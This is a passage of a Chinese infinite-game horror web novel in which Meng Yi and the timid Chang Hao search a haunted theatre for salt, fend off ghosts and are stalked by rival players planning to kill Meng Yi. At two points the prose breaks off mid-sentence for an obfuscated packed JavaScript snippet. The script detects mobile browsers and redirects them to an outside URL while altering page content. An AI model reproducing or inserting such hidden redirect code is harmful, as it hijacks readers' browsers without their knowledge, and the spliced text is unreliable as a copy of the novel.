【传音耳线】:佩戴一对耳线的两个人,可以在一定范围内语音交流。 吸引巫鬼/秘术师的仇恨?嫌自己活得太长了么?至于传音耳线,那就更没用了。首先,低级传音耳线的范围只有500米左右。其次,中低等级的副本地图不大,玩家不需要分头行动,像孟绎这种独狼是极少数,大部分从进入副本到离开副本,一直抱团行动,需要交流,用正常音量说话就行,根本用不上传音耳线。 孟绎已搜集两捆灵线,大部分用于缝合被腰斩的常昊,还剩下一小截,刚好可以制作传音耳线。 他像编手绳似的,很快制作好一对传音耳线,给常昊一只,另一只夹在自己耳朵上。 有了传音耳线,二人终于可以分头行动。孟绎独自去搜索仓库的深处。 传音耳线每隔半分钟,就会幅度微小地抖动,常昊的声音从耳线中传出,像一只悲哀的弃犬。 “大佬,你在哪儿?找到哑盐了么?” “我不敢往里走了,墙上全是血字,血字让我们滚出去,我们是不是不该进来啊。” “啊!” 孟绎抽出一只杂物篮,哗啦哗啦翻着,对常昊的尖叫置若罔闻,甚至懒得问一句“怎么了”。孟绎能猜到,常昊大概被一只马克杯吓到了。 果然,数秒后,常昊说:“我没事。” 孟绎:我没问。 常昊唱独角戏:“只是一瓶红墨水,吓死我了。” 又翻完一只箱子,孟绎把箱子踢回柜子底下,撑着膝盖站起来。 有什么东西,一下、一下地碰着孟绎的后颈。身后有滴滴答答的水声。 冰凉黏腻的液体,滴在孟绎脖子上,顺着脊骨滑入衣衫之中。不知什么时候,空气中多了一丝铁锈似的血腥味。 微光中 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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他纵身一跃,双手抓住三指粗的麻绳,啪一声扯断。吊死鬼砸在地上,断腕处崩出几块骨头渣滓。 【大佬,我知道你不害怕,但照顾一下直播间观众吧,我们害怕啊】 【吊死鬼会不会忽然弹起来,攻击孟绎?】 【有这种可能,仓库处于普通区域,而不是安全区域。玩家的行为太出格,巫鬼还是会攻击玩家的】 【吊死鬼诈尸怎么办?孟绎没有任何有攻击力的卡牌啊!】 孟绎将吊死鬼翻面两次,很快发现不太对劲的地方。 吊死鬼穿着仓库管理员的制服,衣服正面被血液浇透,背面却没什么血迹。而且,正面的血迹大多呈溅射状。 就像用蘸满颜料的刷子画画时,颜料不小心甩到身上。 血迹、甩在身上…… 孟绎立刻想到墙上的血字“滚出去”。 仓库管理员吊死之前,砍断了自己的右手,在墙上写了上百遍“滚出去”? 非常合理的猜测,孟绎开始好奇这位管理员的身份。 制服上缝着一个名牌,能看清“仓库管理员”五个字,后面的名字完全被血迹浸染,很难辨认出来。 孟绎揪着吊死鬼胸前的名牌仔细分辨,他没有看到,吊死鬼的眼皮颤动了一下,完全上翻的白眼球倏地转下来,浑浊的、扩散的黑眼珠,直勾勾地盯着孟绎。 11. 僵化剧院(9) 孟绎蹲在吊死者的胸膛旁边,全神贯注地打量名牌,他身后,吊死者的右腕抽搐了一下。 断腕拍击聚成一汪血浆,发出轻微的啪叽声,常昊恰在这时又问了一遍:“大佬,您那边有奇怪的声音。您安全么?” 【吊死鬼的胳膊动了!孟绎你回头看一眼啊!】 【刚才手腕拍击血浆的声音还挺明显的,孟绎这么警惕的人,没听到?】 【他戴着传音耳线,常昊一直在他耳边叭叭,影响了孟绎的听力呗】 【断腕抬起来了!】 【???手腕里这是长出个什么东西?】 在孟绎的视线盲区,吊死鬼的右臂已抬起90度,断腕处,钻出一条条白色细丝。 细丝有生命似的蠕动着,仿佛从身体里钻出来的数千条寄生虫。细丝上沾着血,织在一起,像一匹染血的细纱。 【回头啊,回头!】 【隔着屏幕替他着急】 【常昊这死小子还不停叭叭,完了完了,他要害死孟绎。】 右腕长出来的细纱无风自动,靠近孟绎的后脑。 忽然,细纱变得如钢鞭般凌厉,挥动时带着划破空气的声音,狠狠朝孟绎的后脑抽过去, 破空之声响起的同时,孟绎从地上弹起,一个轻巧的后空翻,稳稳落在地上,面色平静如常。 吊死鬼这一鞭子没收住,抽中了他自己的脸,他嗓子中发出嘶哑的吼叫,夹杂着被勒断的颈椎咔哒咔哒移位的声音。 【不是?他知道巫鬼要攻击他啊?】 【孟绎听到了那啪叽一声了?那他为什么之前一点儿反应都没有?】 【我们以为的:孟绎没听到。孟绎:听到了,但我只需要0.2秒的躲避时间,现在不急着躲。】 正如弹幕中猜测的那样,孟绎早就发现吊死鬼诈尸。也和弹幕中猜测的一样,孟绎不躲,只是因为不需要躲那么早。 一点风吹草动就到处乱窜,是没底气的新人才会做的事。 “请教一下您的名字。”孟绎波澜不惊地整理着衣襟,“您智力还正常么?” 吊死鬼的行动回答了孟绎的问题,他晃晃悠悠地站起来,折断的脖子耷拉在肩膀上,右手的细纱再次朝孟绎抽过来。 孟绎后撤一步,刚好让细纱的尖端在他鼻尖前一厘米的地方扫过。 “这样啊,我明白了。”孟绎自言自语似的说。 但凡巫鬼保留一点神智,就能察觉出孟绎身上危险的气息,他会立刻逃命,而不是攻击孟绎。 【他又明白什么了?我什么都没明白啊】 【直播我全程在场,为什么越看越迷糊,孟绎懂了些什么?】 【孟绎是不是猜出来吊死鬼的身份了?】 【问题在于,怎么猜出来的?】 无限游戏里的秘术师/巫鬼按照精神状态划分,可以分为三类。 第一类,就像眼前的吊死鬼,完全失去神智,见到玩家就哈气,不顾死活地往上冲。他们很危险,因为他们攻击欲望太强。 第二类,就是像孟绎这样的人,他们更加危险,因为他们的智力完全正常,不仅会动手,还会动脑,非常难对付。 第三类则是玩家喜闻乐见的,精神状态不太正常,但还没完全发疯。他们不仅会向玩家提供重要信息,攻击欲望还不太强。 玩家论坛亲切地将第三类怪物称之为“祥林嫂怪物”,因为这类怪物的精神状态很像祥林嫂,絮絮叨叨地讲述他们最刻骨铭心的记忆,半疯半癫,似傻非傻。 孟绎本以为,新手副本只会遇到第三类怪物,没想到,还有个完全发疯的第一类怪物。 僵化剧院虽是新手副本,难度却不算低得离谱,孟绎连续躲避了两次吊死鬼的攻击,心中想着,这个副本中有两个BOSS,还有一个彻底失智的。 吊死鬼没有智力,从他口里问不出什么有用的东西;想杀死巫鬼必须使用卡牌,孟绎又没有这一类卡牌。 难道又要他使用“最终BOSS奈落珈”的能力,强行让吊死鬼魂飞魄散么? 孟绎不太想这样做,过早把底牌交出去不是一件好事。 他踢倒一排储物架,上千斤重的东西压在吊死鬼身上,极大程度限制了吊死鬼的行动。 倒塌的架子堆成一座小山,孟绎站在尖顶上,思考着对策。 要不然带着常昊先跑?中低级副本的怪物都有索敌范围,打不过就跑,绝对是明智的。 正想着,堆叠在一起的架子叮叮框框一阵乱响,又往下沉了一寸。孟绎嗅了嗅空气,吊死鬼的气息变得很淡。 怪物先跑了? 孟绎稍微有些疑惑,吊死鬼去哪了?他朝气息传来的位置望去,远处,仓库门半敞开着,走廊里的灯光照亮仓库外围一小块区域。 另外,孟绎意识到,常昊叫魂似的一声声“大佬”“您在哪儿”已经停止了足足一分钟。 孟绎难能可贵地想起了队友:吊死鬼去了常昊所在的方向。 * 孟绎深入仓库区后,常昊一直在仓库门口附近徘徊,不敢往里走,也不敢离开仓库。 他一遍遍呼唤着孟绎,即使孟绎不给出回应,但他也一个劲地叫。除了叫孟绎的名字,还有什么能让他安心一些呢? 常昊缩在储物柜的角落里,一抬头,就能看见墙上密密麻麻的“滚出去”。 传音耳线颤动,孟绎那边,先是“啪”的一声,仿佛有什么东西被扯断,随后是重物落地的闷响。 “大佬,您那边有奇怪的声音。您安全么?”常昊压低声音,颤颤巍巍地问。 孟绎没回答。 随后是鞭子抽打的声音,一种诡异、阴森的“嗬嗬”声。再然后,惊天动地的噪音,仿佛有上千斤的杂物轰然倒塌。 怎么回事?发生了什么? 常昊惊恐得忘记了呼吸,心脏跳动时扑通扑通的声音如此清晰,他甚至能感受到颈侧动脉的每一次鼓动。 他缩在角落里,一动也不敢动,似乎手指颤动一下,就会捅破结界,空气中会钻出令人毛骨悚然的怪物。 又是“当”的一声,什么东西掉落的声音。 常昊吓得浑身一颤,更用力地屏住呼吸,眼眶中瞬间蓄满了眼泪,眼白的红血丝一根一根爆开。 这次的掉落声,不是通过耳线传过来的,声音的来源,就在常昊身边。 有什么东西擦着他的袖子,掉在他的身边。 常昊静止了足足十秒钟,才扭动僵硬的脖子,一点点转过头,看向自己身侧。 掉下来的是一张舞团合照。 平平无奇的照片,舞团所有人搭着肩膀,冲镜头微笑。站在中间的,是一位银发老者。 照片中没有任何异常,没有女鬼,没有腰斩,没有…… 半透明的纤长手指,凭空出现在常昊眼前,肩膀处一阵冰凉,常昊用余光看到,一只肤若凝脂的手,正搭在他的肩膀上。 “她美,还是我美?”女鬼克吉尼亚的声音再次在常昊耳边响起,她一手指着照片中的一个人,一手搭着常昊的肩膀,二人的脸颊几乎贴在一起。 常昊的眼泪哗地流了出来,全身肌肉绷紧,牙关都打不开。 “回答我呀,”克吉尼亚温声细语地问,“她美还是我美?” “你,你美。”常昊用尽全身力气说。 克吉尼亚嗔怒:“你都不看我,怎么就知道我更美呢?” 常昊又是全身一抖,嗓子里压抑着哭声。女鬼搭在常昊肩膀上那只手,轻轻推着常昊的脸颊,让他慢慢转过头,看向克吉尼亚。 克吉尼亚穿着舞蹈演出服,头戴皇冠,巧笑嫣然,美得不可方物。偏偏出现的时机不对,常昊愿意付出一切,只要能将这张脸从记忆中抹除。 “你的心……”克吉尼亚一手抚过常昊的左胸口,“跳得好快啊。” 常昊随着她的动作,僵硬地低下头,霎时间又被吓得失禁。 初次见到女鬼,常昊从斗篷内兜里掏出一颗突突跳的心脏,从此常昊再也不敢穿那件斗篷。 此刻,他穿着一件薄半袖。左胸口处凸起了一块,凸起部分正一张一缩。 就像心脏长在了肋骨外面,在衣料下突突跳动。 常昊嗷一声惨叫,整个人从角落里弹出来,拍打着凸出的心脏。 那颗心脏已经和他的皮肤融合在一起了! 克吉尼亚笑嘻嘻地问:“心跳得这么快,你对我心动了么?” 【硬核心动】 【献出心脏(物理)】 【点蜡,这小子后半辈子都得封心(物理)锁爱了】 常昊控制不住地尖叫,一声比一声凄厉。克吉尼亚一只手掐着他的下巴,把他的脸掰过来。 “既然心动了,那就看看我啊。”克吉尼亚的语气那么哀伤,“我为了接近你,付出了那么多……” 就在常昊被迫看向克吉尼亚的那一刻,她身后,凭空出现了一个吊死鬼,断腕处往下滴着血! 常昊的尖叫堪比电锯声强度的噪音,就在此时,孟绎赶到常昊的位置。 秘术师克吉尼亚还没完全疯,她属于第三类祥林嫂怪物。 克吉尼亚第一次接近孟绎时,被孟绎的气息吓跑,她现在一定记得孟绎的脸,如果孟绎出现,即使收敛了气息,克吉尼亚也会立刻逃走。 于是孟绎躲在储物柜后,使用传音耳线与常昊交流。 “常昊,冷静一些。”孟绎低声说。 孟绎的话,仿佛为这恐怖的一切按下暂停键,常昊尖着嗓子大喊:“大佬,你在哪儿,救我!救我!” “我说,冷静一些。”孟绎回答,“克吉尼亚不会伤害你,问问她剧院里发生了什么。” 常昊根本听不进去,他原地打转,四处寻找着孟绎的身影。 孟绎坚持道:“问问克吉尼亚,剧院里发生了什么。” 常昊:“救我!救我!” 孟绎:“……您根本没危险。” 吊死鬼出现在克吉尼亚身后时,克吉尼亚也转过头去,她看到吊死鬼,忽然掩面大哭。 墙上,密密麻麻的“滚出去”开始往下滴血,吊死鬼套在绳索里的脑袋抽动,受压迫的喉咙说不出完整的话。 “滚……” “嗬嗬。” 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短短数秒,仓库从群魔乱舞的炼狱,变成只是有些破败的普通仓库,惊魂未定的常昊仍不停尖叫。 孟绎察觉不到任何异常气息了,从躲避的地方走出来。 也就是新手副本了,雷声大雨点小。 孟绎无语地盯着常昊,等他渐渐平静下来,才开口说:“你答应过我,和秘术师交流,问出副本的背景故事。” 常昊泪流不止,缩在角落里,愧疚得不敢和孟绎对视。 孟绎无奈地叹了口气,他蹲在常昊面前,递过去一个玻璃罐。 盯着玻璃罐好几秒,常昊渐渐回过神:“哑盐?” “嗯。” 常昊语无伦次地说着感谢地话,孟绎用眼神打断。 “克吉尼亚又来找你了,这次发生了什么?”孟绎问。 常昊一惊,摸了摸自己的左胸口,那颗心脏还没消失。 “她又挖出了我的心脏!”常昊尖叫。 人被挖出心脏还能肺活量充足地大喊大叫?孟绎懒得理他被吓傻了之后的疯话,继续问:“还有呢?我听到她问你她美不美。” 常昊颠三倒四地把自己的经历讲述一遍,找到那张舞团合照,指给孟绎看:“她问我,她和这个人谁更美。” 他指着的人,正是麦格纳。 孟绎回忆起一小时前看过的、俗套的三角恋剧情。 女主舞麦格纳和男主舞布鲁图斯是一对情侣,但后来,布鲁图斯移情别恋,爱上了克吉尼亚。男女主舞在排练厅发生争吵后,麦格纳杀了布鲁图斯。 孟绎对这个副本的背景故事期待值很高,他发自内心地希望,这不是一群无聊小孩爱来爱去的故事。 “大佬,我的这颗心脏……”常昊哭哭啼啼地说,他想碰那颗凸到肋骨外的心脏,又不敢碰。 那颗心脏看着吓人,但也只是秘术师的小计俩罢了。孟绎抄起一把剪刀,趁着常昊还没反应过来,噗嗤一声,刺穿那颗心脏,把心脏直接剜了下来。 常昊愣了两秒,随后开始惨叫。 孟绎静静地注视着他,常昊叫唤了一阵,惊奇地摸了摸自己的胸口:“哈?不疼!” 离开仓库后。 “大佬,那心脏是什么鬼把戏?”常昊缠着孟绎问前问后,完全忘了孟绎和他一样,是个“新人玩家”。 常昊:“我每次遇到女鬼,都会多出一颗心脏,真是奇怪,背后定有蹊跷。大佬,到底怎么回事啊?” 孟绎:“不知道。” 他没有说谎。无限世界的技能五花八门,孟绎又不是百科全书,不能精准指出每一位秘术师的技能。 不过,孟绎认为,克吉尼亚让常昊多出来一颗心脏,肯定不只是为了吓唬他。 “现在去炼制护心符,然后代替我和秘术师交流,问出副本的故事背景。”孟绎用平静但不容反驳的语气说。 常昊缩了缩脖子,小声嗫嚅:“大佬,能不能再帮我找一瓶哑盐。” 孟绎依旧平静地注视他,那眼神的意思是:请给你的请求一个合理的解释。 “您也看到了,我胆子很小,”常昊小声说,“有两罐盐,我就能同时炼制出护心符和冶炼锤。既有攻击又有防御,和秘术师交流时,也不会被吓得大呼小叫了。” 理由很充分。 孟绎展开人皮地图看了看,很巧,拐过一个弯,下两层楼梯,就能到达一楼的【换衣间】,换衣间里有一罐哑盐。 “我们去这里。”孟绎点着地图中的换衣间。 常昊一瞧,脸色煞白。换衣间被血液染红了。 常昊:“大佬,这是危险区域!” 孟绎:“我自己去,你等着我。” 说罢,他丢下常昊,独自向走廊尽头走去。 常昊焦急地望着孟绎的背影,身边少了一个大佬,他顿时觉得走廊特别空,空得令人胆寒。 抱过大腿的人,怎能忍受单排? “别,别丢下我!”常昊一路小跑跟上去,“经过两次历练,我变勇敢了,真的!” 12. 僵化剧院(10) 一楼篝火房。 炼金术哪里都好,唯独有一个缺陷:炼金术制作道具,必须使用篝火房内的【黑篝火】,而不能像缝纫术一样,只要材料齐了,有对应的【设计手稿】,在哪儿都能制作。 但篝火房是无限游戏里的“安全屋”,大部分情况下,怪物不会进入这里,玩家可以安安心心地炼制道具。 现在,贺彩音、苏凡和刘明三人,就在剧院一楼的篝火房炼制道具。 房间正中央一簇熊熊燃烧的篝火,火上架一口大坩埚,【护心符】的设计稿摆在坩埚旁一张破木桌子上。 【设计手稿·护心符】 【所需原材料:哑盐1罐、任意土壤1千克】 【炼制流程:土壤浸水,加入哑盐,依照图示方式搅拌……加水没过混合物,水沸腾后依照图示方式搅拌……挪开坩埚使固液混合物自然冷却……沥干水分,将黏土捏成图示形状……雕刻图示花纹】 初级道具制作流程不算复杂,但在副本中能静下心来,一点儿不出错地完成所有步骤,有一定难度。 而且,失败后回收利用原材料,需要更高级的技能和道具,新人玩家没有,一次失败,一罐珍贵的哑盐将白白浪费掉。 刘明第一次炼制护心符时,搅拌方向出错两次,雕刻花纹的阶段又错了好几次。最终成品被系统判定为【废品】 这是他们第二次炼制护心符,相对心灵手巧且的苏凡帮助刘明炼制。 等待时,贺彩音和刘明愁眉苦脸,心里想着的,都是献祭卡的事。 “我们应该献祭常昊。”贺彩音说,“孟绎的水平深不可测,他不是好对付的人。” 刘明揪着自己的头发,双目赤红,声音阴郁:“冤有头债有主,我这么倒霉,全是孟绎害的。不让孟绎吃点苦头,我咽不下这口气。” 贺彩音心想:你倒霉还不是怪你自己?若是你镇定一些,看完整场彩排,不仅没有生命危险,还能获得一张剧情卡。但你非转换学徒卡不可,转换结果不好,纯属自作自受。 “彩音妹子,苏凡妹子,”刘明抬起一双布满红血丝的眼睛,“谢谢你们,你们的情义我会一直记着,等我们从这鬼地方出去了,哥请你们吃饭。” 苏凡冲他们笑了笑,没说什么,继续炼制护心符。贺彩音撑着额头,望着某个方向,若有所思。 至少,刘明人品不坏,贺彩音心里想着。使用献祭卡暗杀队友非常容易,但刘明一直没有将屠刀对准她和苏凡二人。 他们三个人,均找到了两瓶哑盐,贺彩音和苏凡不需要完成卡牌任务,现在就可以离开副本。 然而,苏凡在刘明第一次炼制失败时,自告奋勇留下来帮刘明炼制护心符。贺彩音不知为什么,也没有离开。 【他们这组,波折虽多,但进度挺快,同心协力太重要了。】 【新手副本,一个演示教学关卡,帮助新玩家熟悉游戏规则和游戏流程,只完成搜集任务,基本没难度。新手副本最大的危险,往往来自队友。】 因为,杀死队友,拿走队友的灵线/哑盐,也算搜集成功。 还有一种情况,两人同时发现一罐哑盐,为了自己的搜集进度大打出手,搞得两败俱伤。 没有固定的队伍,彼此之间不信任,导致自相残杀,是90%的新人玩家都会犯的错误,直播间观众最爱看他们内斗。 【这组新人不搞自相残杀那一套,要是没有孟绎,一点看头都没有。你们快去看[红囍棺]副本的直播回放,那才叫刺激呢。】 【我就是从红囍棺副本直播间过来的,他们杀了个团灭,一个也没逃出去,哈哈哈哈笑死我了。】 【红囍棺副本里,有个叫朗煜的新人挺可惜的,他拼了自己一条命,也要和屠杀队友的畜生们同归于尽,若非如此,朗煜能活下来。】 叮—— 站在黑篝火旁的苏凡,屏住呼吸,盯着桌子上的六芒星黏土吊坠。黑篝火暗紫色的火焰,在她的眼眸中跳动。 “刘明哥,你来看看,”苏凡说,“好像,炼制成功了?” 刘明三步并作两步扑过去,死死抓住护心符,把它收入系统仓库。 系统提示:获得道具【护心符】,成色良好。 “成功了!”刘明欢呼,“有了护心符,我暗杀孟绎就更有底气——” 话没说完,被贺彩音一个眼神打断。贺彩音凝神听着篝火房外的声音,不远处,有脚步声。 “大佬!等我一下,我和你一起去换衣间。”是常昊的喊叫声。 孟绎的声音比较轻:“不用。旁边有篝火房,你去那里等着我。” “啊?还真是。”常昊十分惊喜。躲在篝火房里,和在孟绎身边一样安全。 常昊一把拽开篝火房的门,房间内的三个人,齐刷刷地转过头盯着他。 他们三个人的眼神……尤其是贺彩音的眼神,让常昊不寒而栗。 “你们,也在啊。”常昊磕磕巴巴地说。 贺彩音瞥了刘明好几眼,暗示他趁此机会杀了常昊,完成献祭卡的任务。 刘明却像没看到暗示似的,双臂环胸,别过脑袋,用肢体语言表示:我不干,我只想杀了孟绎。 气氛有种说不出的诡异,黑篝火噼里啪啦地燃烧,暗色火光映在每个人的脸上,像给他们的脸蒙了一层鬼影。 常昊胆子小,一点风吹草动就会让他受惊。相应的,他心思也很敏感,一点风吹草动就能让他察觉出异样。 只是往他们三人的脸上看一眼,常昊就察觉出:这群人不对劲。 忽然间,常昊瞥到地板上一堆碎渣子。 第一次炼制护心符失败,刘明恼怒地把废品砸碎,那堆渣滓就在坩埚附近,还没来得及清理。 “真巧啊。”常昊的心跳那么强烈,仿佛心脏挤进了嗓子眼,他努力让自己的声音正常一点,“你们要用黑篝火么,那我换一间篝火房。” 说完,常昊轻轻关上门,全身颤抖地呼出一口气,踉跄地向孟绎的方向追过去。 “孟绎大佬,”常昊轻轻拽了一下孟绎的后襟,“贺彩音他们在篝火房。” 孟绎用表情询问:那怎么了? 常昊目光呆滞,神情恍惚,心乱如麻。贺彩音他们在炼制护心符,并且失败了一次。这很正常,护心符可以抵挡一次攻击,条件允许时,玩家都会佩戴护心符保命。 但是,他们看我的眼神,为何如此奇怪? 思来想去,常昊还是觉得哪里不太对,他把孟绎带到走廊拐角处,压低声音说:“大佬,我们要小心贺彩音他们。这群人……” 常昊将贺彩音带头孤立孟绎、刘明抽到了学徒级任务卡,并嚷嚷着要转换卡牌等一系列事,一五一十告诉孟绎。 孟绎听完,毫无反应。 “他们要害你。”常昊急得跺脚,“大佬,您不相信我,还是觉得我胆子小到连队友都害怕?” 【常昊这回还真不是胆子小,他的担忧是正确的】 【他还不算太废物,我以为他真要和贺彩音他们一起躲在篝火房呢,那可就有热闹看了】 “我相信你,也不觉得你胆子小,我理解你的恐惧,”孟绎诚恳地说,“但我对他们没有恐惧。” 常昊愣了一下:“大佬,您这是什么意思?” 孟绎拍拍他的肩膀,什么也没说。 无数顶尖玩家都葬身于孟绎的BOSS房,几个新人玩家,再翻腾,能闹出什么花样? 他们过家家一样的小把戏,孟绎甚至懒得瞥一眼。 “我去换衣间,”孟绎说,“您要是害怕,就在这里等着我。” “我跟你一起去!”常昊忙不迭地追上去。这一刻,他感到队友比女鬼还恐怖。 * “你应该动手!”贺彩音压低声音吼道。 刘明沉着脸,一言不发。 贺彩音叹了口气,摇摇头。隔了好一会儿才说:“你执意要杀孟绎,也可以。我刚才听到他们说,他们要去换衣间。换衣间是危险区域,我们跟过去,趁着发生意外场面 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16487771|185713||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 混乱时,你暗杀孟绎。” 刘明想了数秒,郑重点头:“我觉得可以。” 顿了顿,刘明又说:“彩音,你用你的卡牌帮我转换了学徒行为卡,虽然转换结果……但你帮我了。” “苏凡,”刘明又瞅着苏凡,语气很真诚,“你帮我炼制出了护心符。” “你们两个帮了我很多,你们也达成了通关条件,离开吧,剩下的事我自己可以解决。” 刘明的话是肺腑之言,听得出来,这并不是试探。 苏凡两只手紧紧绞在一起,声音细弱蚊呐:“那……刘明哥,我先走了?” “快走吧,”刘明笑了一下,“从篝火房出去,一直往前跑,拐一个弯,就是出口。” 苏凡踟蹰着,一手按着篝火房房门的把手,忽地回过头,看了看刘明,又看了看贺彩音。 刘明笑着:“走吧。还是害怕了?要不哥送你过去?” “不用,”苏凡用力摇了摇头,又一路小跑回到队友身边,用力和刘明、贺彩音拥抱,声音里带着哭腔,“我也要谢谢你们,你们看我胆子小,让我先搜集哑盐,我明明是最怕鬼的一个,在你们的帮助下,却是最先完成搜集任务的人。你们是最好的队友。” 拥抱结束后,苏凡往刘明手里塞了三张卡牌,扭头就跑。 她的脚步声渐渐远去,刘明低头一看手里的卡牌,都是道具卡,两张哑盐,一张是苏凡开局抽到的杂役级道具卡【祈愿纸条】 苏凡把她所有道具留给刘明,以此表达感谢。 刘明的眼睛更红了,嘿嘿笑了两声,又问:“彩音妹子,你咋不走?你也要郑重告别?” 贺彩音沉默了好一会儿,再开口时,声音很轻:“通过新手副本,只是我其中一个目的。我还想获得一张设计手稿,一张隐藏剧情卡,争取拿到【优才】的评级,为我后续发展铺路。” 刘明怔了一下:“为什么?” “实不相瞒,我对你们说了谎,”贺彩音说。 贺彩音本不想提这件事,但眼下的情况,她遮遮掩掩,不给出一个合理的解释,刘明肯定有诸多猜忌。 猜忌开始,信任崩塌,对后续的行动很不利。 刘明手里有一张献祭卡,用这张卡,他可以轻松杀死任何队友。此时他们互相信任,刀锋不会对准贺彩音。 信任崩塌之后呢?刘明会选择杀了谁? 贺彩音:“我不是被骗进来的,我是主动进入无限游戏的。” 刘明更惊讶了,还是问:“为什么?” “因为……”贺彩音叹了一口气,“多的就不说了,和副本无关。简而言之,我在上面的世界混不下去了。” 她朝头顶指了指。提尔纳诺恪是“泪湖之下的城市”,上面的世界,指的就是他们的原本生活的世界。 贺彩音:“只有在提尔纳诺恪,我才能活的像个人样。” 此事涉及隐私,刘明没再多问,他爽朗地笑了两声:“我就觉得奇怪,老玩家明明告诉我们,新人在副本外不可自相残杀,你杀了我小弟,管理员却没找你麻烦。原来你上头有人啊。” 贺彩音抿嘴一笑,算是默认。 告别使人感伤,刘明摩挲着三张卡牌,掏心掏肺地说:“抢你们面包的事,我也得说一句对不起。” “我本来没想找你麻烦的,我就是看那个绣花的小白脸不顺眼,正巧我小弟嚷嚷着肚子饿,就想抢他的面包给我小弟加个餐。” “好死不死,小白脸身边只坐了你一个人,我寻思顺手抢了。”刘明扇了自己一巴掌,“现在想想,我也是被这一连串怪事搞昏了头。我在外面不是欺软怕硬的人,真的。” 二人的抒情,被系统提示音打断: “【杂役-苏凡】已完成任务,离开副本【僵化剧院】” 他们的关注点瞬间回到副本,刘明站起来,活动活动脖子和手腕:“走吧,优才,咱们去欺负一个硬茬子。” 二人紧跟着孟绎和常昊,推开血迹斑斑的门,进入换衣间。 13.僵化剧院(11) 推开换衣间的门,先看到一面墙,向左和向右分别是男女换衣间。 常昊跟在孟绎身后,战战兢兢地走进来,仿佛面前的白墙是洪水野兽。他们刚进入换衣间没多久,身后的门吱呀一声。 “啊!”常昊大叫一声,整个人吓得弹了起来。他一叫唤,又把贺彩音和刘明吓了一跳。 三个人虚惊一场,互相指责。 刘明:“你小子一惊一乍地干什么!” 常昊紧紧贴着孟绎:“你们俩跟过来干什么?” 贺彩音耸耸肩:“我们也想找一张剧情卡啊,提升一下资质评级。” 常昊:“那你们——” “安静。”孟绎轻声说。 他有一种特殊的气场,可以让别人(哪怕是敌人)听到他的指令时,下意识地遵循。尽管贺彩音和刘明各怀鬼胎,但在孟绎说出“安静”二字时,身体比脑袋先反应过来,瞬间闭了嘴。 换衣间里,有浓郁的血腥气。 刘明在听到孟绎那一声“安静”后,心脏像被攥住了一刹那,嘴巴也听话地闭上。数秒后,他回过神来:那小白脸让他闭嘴他就闭嘴?他的面子往哪儿搁? “胆子比耗子大不了多少,”刘明非把无人在意的面子赚回来不可,他摆出气场很强的样子,声音格外洪亮,“让开让开,你们害怕就在这儿等死,我可不怕。” 他用力推开孟绎和常昊,一把掀开女士换衣间的帘子。 只朝里面望了一眼,刘明就维持着掀开帘子的姿势,全身定格。 没人问为什么,因为其他玩家透过掀开的帘子,也看清了换衣间里的惨状。 十几位舞蹈演员,全部被腰斩。横七竖八地倒在地上,脸上还画着舞台妆,身穿精美戏服。 有些舞蹈演员临死前扔抱着自己的腿,手指把脚踝扣出几个血洞。 简直是地狱般的景象,常昊捂着嘴一个劲干呕,刘明脸色灰青几乎要站不住,贺彩音小声骂了句脏话。 孟绎从刘明身后探出一颗脑袋,忍不住感叹:“啊,真美。” 舞蹈演员身上的演出服,复古华丽的款式,重工制作,每一个细节都无可挑剔,映着换衣间的灯光,即使染上了血,依然熠熠生辉。 什么?穿着这些漂亮衣服的、被腰斩的人?孟绎对此熟视无睹。 他之前的工作就是在自家客厅屠杀玩家,什么样的死人没见过? 万相(无限游戏系统)还提议过,将那些死在孟绎手下的玩家防腐处理,像风铃一样挂满整间BOSS房,增强孟绎的逼格和威慑力。孟绎强烈抗议,他不喜欢这种装修风格。 孟绎的话一出口,三名玩家不约而同地瞪着孟绎,脸色更加惊恐。 十几个人被腰斩,到底美在哪里? 你为什么能发出“啊,真美”的感叹?? 【好疯癫的发言……】 【血块和脏器流了满地,不知道的以为肉铺子呢,孟绎竟然觉得美。】 【他在现实中是个亡命之徒吧?只亡别人的命。】 刘明维持着一手掀开帘子的动作,血腥冲击加孟绎的诡异发言,让他失去了表情管理,瞪起一双小眼睛瞅着孟绎。 “您不打算进去的话,麻烦让一下。”孟绎一只手搭在刘明肩膀上。 刘明触电似的弹开,此刻已完全忘记面子的事。 孟绎在堆满华美舞台服的换衣间里流连,表情虽没有太大变化,但眼眸比平时明亮。 【看出来了,他不是装x,他是发自内心觉得这很美】 【我先去吐一会儿】 “大佬,”常昊咽了咽口水,“哑,哑盐。” 孟绎欣赏“美景”太入迷,看起来完全不记得,他们进入换衣间的目标是寻找哑盐。 “哦,感谢提醒。”孟绎恋恋不舍地从一条塔夫绸长裙上收回视线。 常昊内心:……您真忘了啊! 度过最初的震惊阶段,贺彩音和刘明也试探着走进换衣间,毕竟,他们的目标是找机会杀了孟绎,站在门口死盯着孟绎,可不能把他盯死。 刘明指间夹着的卡牌,变成一把匕首。 只要用这把匕首捅孟绎一下,他必死无疑…… 刘明放轻脚步,从背后靠近孟绎。孟绎正搜查一组抽屉,二人的影子融在一起,侧面镜子映出刘明阴郁、狰狞的面容。 握着匕首的手在颤抖,明亮的刀锋倒映着孟绎衬衫上的杜鹃花刺绣。 “抽屉里什么都没有。”孟绎说。 刘明起了一身白毛汗,死死握着献祭卡化成的匕首,屏住呼吸,又往前迈了半步。 孟绎依然没回头:“您要搜查抽屉么,请。” 刘明愣了好几秒,色厉内荏地拔高声音:“你和谁说话呢?” “和你。”孟绎奇怪地侧过头看他一眼,“我身后不是只有你一个人么?” 他怎么发现我在他身后的?我刚刚发出声音了么? 刘明全身一凉,唰地把匕首藏在自己身后,一句话没说,跑到房间另一头,和贺彩音嘀嘀咕咕地说些什么。 